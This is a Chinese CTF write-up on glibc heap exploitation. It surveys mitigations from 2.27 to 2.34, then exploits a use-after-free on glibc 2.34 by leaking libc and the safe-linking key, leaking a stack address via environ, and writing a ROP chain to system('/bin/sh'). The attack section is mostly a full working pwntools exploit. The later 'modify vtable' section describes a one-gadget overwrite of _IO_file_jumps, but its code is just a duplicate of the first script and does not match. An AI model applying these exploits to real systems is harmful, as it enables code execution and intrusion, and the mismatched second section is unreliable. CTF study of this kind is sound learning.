Glibc版本变化
随着glibc版本的变化,堆的打法限制也是越来越多。主要记录一下每个版本的大致差别
2.27 版本引入了tcache
,同时在2.27的高版本引入了bk字段的flag用来防止double free
2.29 版本unsorted bin
、house of force
、house of storm
等利用手段失效,off by null
的利用手段更为复杂,setcontext
函数汇编代码中rdi寄存器寻址变为rdx寻址,可以通过如house of pig
或找一段gadget来实现沙盒绕过(也可以直接用堆栈结合)
2.32 加入了堆块fd异或
操作,想要利用需要通过如UAF等漏洞先泄露异或key
2.34 取消了malloc_hook
和 free_hook
,可以通过打IO或者堆栈结合的方式完成getshell
漏洞点
存在UAF
攻击思路
由于在glibc-2.34中没有malloc_hook和free_hook了,所以如果要篡改执行流的话,就可以利用申请栈空间,然后构造ROP。通过泄露libc地址,由于fd是被key异或过的,所以需要先将key泄露出来。然后伪造的fd异或key即可。
泄露出libc后,利用environ泄露出栈地址,然后申请到能控制ret返回地址的chunk,构造ROP。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *from ctypes import *from libcfind import *from LibcSearcher import *import base64import syscontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ["tmux" ,"splitw" ,"-h" ] debug = 1 if debug: p = process('./pwn' ) elf = ELF('./pwn' ) else : p = remote('node4.anna.nssctf.cn' , 28836 ) elf = ELF('./pwn' ) s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096 : sys.stdout.write(p.recv(num)) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil('\xf7' )[-4 :].ljust(4 ,'\x00' )) l64 = lambda : u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , '\x00' )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , '\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num)) libc = ELF('./libc.so.6' ) def add (): rl("Choice: " ) sl('1' ) def show (index ): rl("Choice: " ) sl('3' ) rl("Idx: " ) sl(str (index)) def edit (index,size,content ): rl("Choice: " ) sl('4' ) rl("Idx: " ) sl(str (index)) rl("Size: " ) sl(str (size)) rl("Content: " ) sl(content) def delete (index ): rl("Choice: " ) sl('2' ) rl("Idx: " ) sl(str (index)) gdb.attach(p) for i in range (10 ): add() for i in range (8 ,-1 ,-1 ): delete(i) show(0 ) rl("\x0a" ) libc_leak = uu64() lg("libc_leak" ,libc_leak) libc_base = libc_leak-0x1f2cc0 lg("libc_base" ,libc_base) environ = libc_base+libc.sym['_environ' ] lg("environ" ,environ) pop_rdi = 0x000000000002daa2 +libc_base ret = 0x000000000002cb99 +libc_base system = libc_base+libc.sym['system' ] binsh = libc_base+next (libc.search('/bin/sh\x00' )) show(8 ) rl("\x0a" ) heap_key = u64(p.recv(5 ).ljust(8 , '\x00' )) heap_base = heap_key << 12 lg("heap_leak" ,heap_key) lg("heap_base" ,heap_base) edit(2 ,0x100 ,p64(heap_key^environ)) add() add() show(11 ) stack_addr = l64() lg("stack_addr" ,stack_addr) addr = stack_addr-0x168 edit(1 ,0x10 ,p64(0 )*2 ) delete(1 ) edit(1 ,0x100 ,p64(addr^heap_key)) add() add() edit(13 ,0x40 ,p64(0 )*3 +p64(pop_rdi)+p64(binsh)+p64(system)) inter()
修改vtable表
当调用puts函数时,会执行_IO_file_jumps
中的_IO_new_file_overflow
。所以利用uaf申请到_IO_file_jumps
处的chunk,然后修改_IO_new_file_overflow
的地址为onegadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *from ctypes import *from libcfind import *from LibcSearcher import *import base64import syscontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ["tmux" ,"splitw" ,"-h" ] debug = 1 if debug: p = process('./pwn' ) elf = ELF('./pwn' ) else : p = remote('node4.anna.nssctf.cn' , 28836 ) elf = ELF('./pwn' ) s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096 : sys.stdout.write(p.recv(num)) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil('\xf7' )[-4 :].ljust(4 ,'\x00' )) l64 = lambda : u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , '\x00' )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , '\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num)) libc = ELF('./libc.so.6' ) def add (): rl("Choice: " ) sl('1' ) def show (index ): rl("Choice: " ) sl('3' ) rl("Idx: " ) sl(str (index)) def edit (index,size,content ): rl("Choice: " ) sl('4' ) rl("Idx: " ) sl(str (index)) rl("Size: " ) sl(str (size)) rl("Content: " ) sl(content) def delete (index ): rl("Choice: " ) sl('2' ) rl("Idx: " ) sl(str (index)) gdb.attach(p) for i in range (10 ): add() for i in range (8 ,-1 ,-1 ): delete(i) show(0 ) rl("\x0a" ) libc_leak = uu64() lg("libc_leak" ,libc_leak) libc_base = libc_leak-0x1f2cc0 lg("libc_base" ,libc_base) environ = libc_base+libc.sym['_environ' ] lg("environ" ,environ) pop_rdi = 0x000000000002daa2 +libc_base ret = 0x000000000002cb99 +libc_base system = libc_base+libc.sym['system' ] binsh = libc_base+next (libc.search('/bin/sh\x00' )) show(8 ) rl("\x0a" ) heap_key = u64(p.recv(5 ).ljust(8 , '\x00' )) heap_base = heap_key << 12 lg("heap_leak" ,heap_key) lg("heap_base" ,heap_base) edit(2 ,0x100 ,p64(heap_key^environ)) add() add() show(11 ) stack_addr = l64() lg("stack_addr" ,stack_addr) addr = stack_addr-0x168 edit(1 ,0x10 ,p64(0 )*2 ) delete(1 ) edit(1 ,0x100 ,p64(addr^heap_key)) add() add() edit(13 ,0x40 ,p64(0 )*3 +p64(pop_rdi)+p64(binsh)+p64(system)) inter()